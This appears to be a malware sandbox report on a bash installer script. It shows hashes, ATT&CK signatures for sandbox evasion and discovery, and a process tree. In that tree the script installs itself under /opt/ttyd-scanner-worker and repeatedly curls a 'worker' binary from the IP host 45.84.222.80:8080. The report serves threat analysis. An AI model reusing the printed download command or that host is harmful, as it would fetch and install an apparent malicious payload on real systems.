8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3

Analysis

max time kernel
18s
max time network
16s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/08/2026, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
Size 12KB
Sample260819-dmlevscf93
SHA256 8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
MD5 48a0eff45f191a6e300368565a412d55
SHA1 4de34e0f692e95f1ab8f7b4bd1f3bac8c1282043
SHA512 5128c2f8a00932bfc7b0ca63bd72d1de8a626a73e27fa79c54265ff0b0e3deb7763e16eb89185a952e304153ea850e695e34ef18432ba262254ff2084026e6e0
SSDEEP 192:NIMA43oioxOGNHVNOkHsK8A3hp+oYLHCnRpyHNhGn48sGspfq:NIMExHH8noXn88tR
TLSH
T12F4274B1D62408757568CC2D973B2D14388B353AF2A920A0B49EF8CD3FFD254EA26775
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
675	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 5 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/584/status	pkill
File opened for reading	/proc/632/cmdline	pkill
File opened for reading	/proc/657/status	pkill
File opened for reading	/proc/158/status	pkill
File opened for reading	/proc/300/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/96/cmdline	pkill
File opened for reading	/proc/326/cmdline	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/96/status	pkill
File opened for reading	/proc/106/cmdline	pkill
File opened for reading	/proc/138/status	pkill
File opened for reading	/proc/564/cmdline	pkill
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/319/cmdline	pkill
File opened for reading	/proc/639/status	pkill
File opened for reading	/proc/645/cmdline	pkill
File opened for reading	/proc/687/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/104/status	pkill
File opened for reading	/proc/290/cmdline	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/41/cmdline	pkill
File opened for reading	/proc/300/cmdline	pkill
File opened for reading	/proc/317/status	pkill
File opened for reading	/proc/631/cmdline	pkill
File opened for reading	/proc/639/cmdline	pkill
File opened for reading	/proc/meminfo	awk
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/133/cmdline	pkill
File opened for reading	/proc/151/status	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/288/status	pkill
File opened for reading	/proc/317/cmdline	pkill
File opened for reading	/proc/641/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/104/cmdline	pkill
File opened for reading	/proc/224/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/158/cmdline	pkill
File opened for reading	/proc/632/status	pkill
File opened for reading	/proc/634/cmdline	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/25/status	pkill

/tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
/tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:643

/usr/local/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:643

/usr/local/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:643

/usr/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:643

/usr/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:643

/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:643

/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:643
- /usr/bin/id
  id -u
  2⤵
  PID:654
- /usr/bin/awk
  awk "/MemAvailable/ {print \$2; exit}" /proc/meminfo
  2⤵
  PID:664
- /usr/bin/nproc
  nproc
  2⤵
  PID:669
- /bin/mkdir
  mkdir -p /opt/ttyd-scanner-worker
  2⤵
  - Reads runtime system information
  PID:670
- /bin/cp
  cp /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3 /opt/ttyd-scanner-worker/installer.sh
  2⤵
  PID:672
- /bin/chmod
  chmod +x /opt/ttyd-scanner-worker/installer.sh
  2⤵
  - File and Directory Permissions Modification
  PID:675

/usr/bin/nohup
nohup bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:676

/usr/local/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:676

/usr/local/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:676

/usr/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:676

/usr/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:676

/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:676

/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:676
- /usr/bin/id
  id -u
  2⤵
  PID:679
- /usr/bin/awk
  awk "/MemAvailable/ {print \$2; exit}" /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:681
- /usr/bin/nproc
  nproc
  2⤵
  PID:683
- /bin/mkdir
  mkdir -p /opt/ttyd-scanner-worker
  2⤵
  PID:685
- /usr/bin/pkill
  pkill -9 -f /opt/ttyd-scanner-worker/worker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:687
- /bin/sleep
  sleep 0.5
  2⤵
  PID:688
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Checks CPU configuration
  PID:689
- /bin/sleep
  sleep 3
  2⤵
  PID:693
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:766
- /bin/sleep
  sleep 3
  2⤵
  PID:767
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:768
- /bin/sleep
  sleep 3
  2⤵
  PID:769
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Checks CPU configuration
  PID:772
- /bin/sleep
  sleep 3
  2⤵
  PID:773
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:774
- /bin/sleep
  sleep 3
  2⤵
  PID:775

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

installer.sh

Path /opt/ttyd-scanner-worker/installer.sh
Size 12KB
SHA256 8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
MD5 48a0eff45f191a6e300368565a412d55
SHA1 4de34e0f692e95f1ab8f7b4bd1f3bac8c1282043
SHA512 5128c2f8a00932bfc7b0ca63bd72d1de8a626a73e27fa79c54265ff0b0e3deb7763e16eb89185a952e304153ea850e695e34ef18432ba262254ff2084026e6e0
SSDEEP 192:NIMA43oioxOGNHVNOkHsK8A3hp+oYLHCnRpyHNhGn48sGspfq:NIMExHH8noXn88tR
TLSH
T12F4274B1D62408757568CC2D973B2D14388B353AF2A920A0B49EF8CD3FFD254EA26775
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 322B
SHA256 7b5591b52045186c09d3029dce401875cff1110f1a57164abfdbc7e999f51c69
MD5 733f58ddeb15f169f98b3288cca23a0b
SHA1 c04a7c1d0739b512627610362a66bf5bb1c22844
SHA512 02afc30f04a6a652158a30a7905f2b07bc5fd226aa99ba23271cb1679b25ac37c3eb35efd51a4f3d28cef72d6b62c3e4fc301a33ebe83eecc908971a205143c4
TLSH
T19CE012764C0421347650D77C73207B51938D7068B4947472F20E761513EE1B606C77FE
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 394B
SHA256 75c38fcbeb35ead9a47e5aae7ce472817e6f48f4380b544bda8d7926b840cb0b
MD5 edb3a270c1b4aa5d680c183ebd4df714
SHA1 926c98a30339b11c439ff4f2c1bc6e8de5e8325b
SHA512 7b51f1972df271badeced7ab6d1fdee02bbdffdb67f598adc0058e70fa6b3ff63112485d82d475a52b8cce2b211a18e40b2dd13544f7b956f5ee9fc1837011c6
TLSH
T110E05E730C25653477A0D7ACB320BB51828DB06874987872F20E721553EE2A907CB2BD
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 438B
SHA256 62e7e44f023de1759e6488356e1f3bc3f9a3ccb57ab0475cae07da9a7d37e278
MD5 85a5383afdcd6473d9deb7ed9f9fbcc3
SHA1 9bc85c41bfbe7561677057be09d7dac32acd441a
SHA512 28946a3ba12daba553a972af3bb95678e6284e961fba84a43d20a5d82743df7176c7d046414c02398cd11be60643913f2990027c8703ec04e23b68ad6116a833
TLSH
T181F0C2B30C246539B7A0C3ACB760BB40864C7028B4587833F10E735153EE2A907DB2BD
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 577B
SHA256 e2750c6b11fb9340b8df197a802421238481506439776b33167dacce9a5f4345
MD5 286aa60c5bfbf2a43fed54a9f27340d1
SHA1 2573efc81a41edf9cd8a721f579cef590302eed9
SHA512 ddeb2568cc4d8a64b390df2a181c8e41c7af2a04f825875c5d057ab5b57fca80e8d7ae90e1d3303fb95288dfa9a3b402f6bedc7e6103be6b5910179000c23880
TLSH
T192F0557B0C25617AB2A0C3ACB6687711CA4C741439287472F10E734953EE2A902EA2BE
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 1024B
SHA256 afff791ce577dd9d90a370bbb898e8505c37e9ec8eb0c723578170b42a0a6278
MD5 9743018dce5f3d851cf848cd196e90f4
SHA1 7e74d4fcd9b7e7214155969567eb1f37ffa0ef2c
SHA512 73ee64e94b81d9904b4100b93b604de095e4df40b8d552860ba870365892f29b761fd957ece6e68f5c2273262729d7100a0e92b84d8c86246fb319a18e4a6a07
TLSH
T1C7119B7D18AB11AAB230C17C717C2325C9447E463B2681B1F00C774E57CDD2141F66BA
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads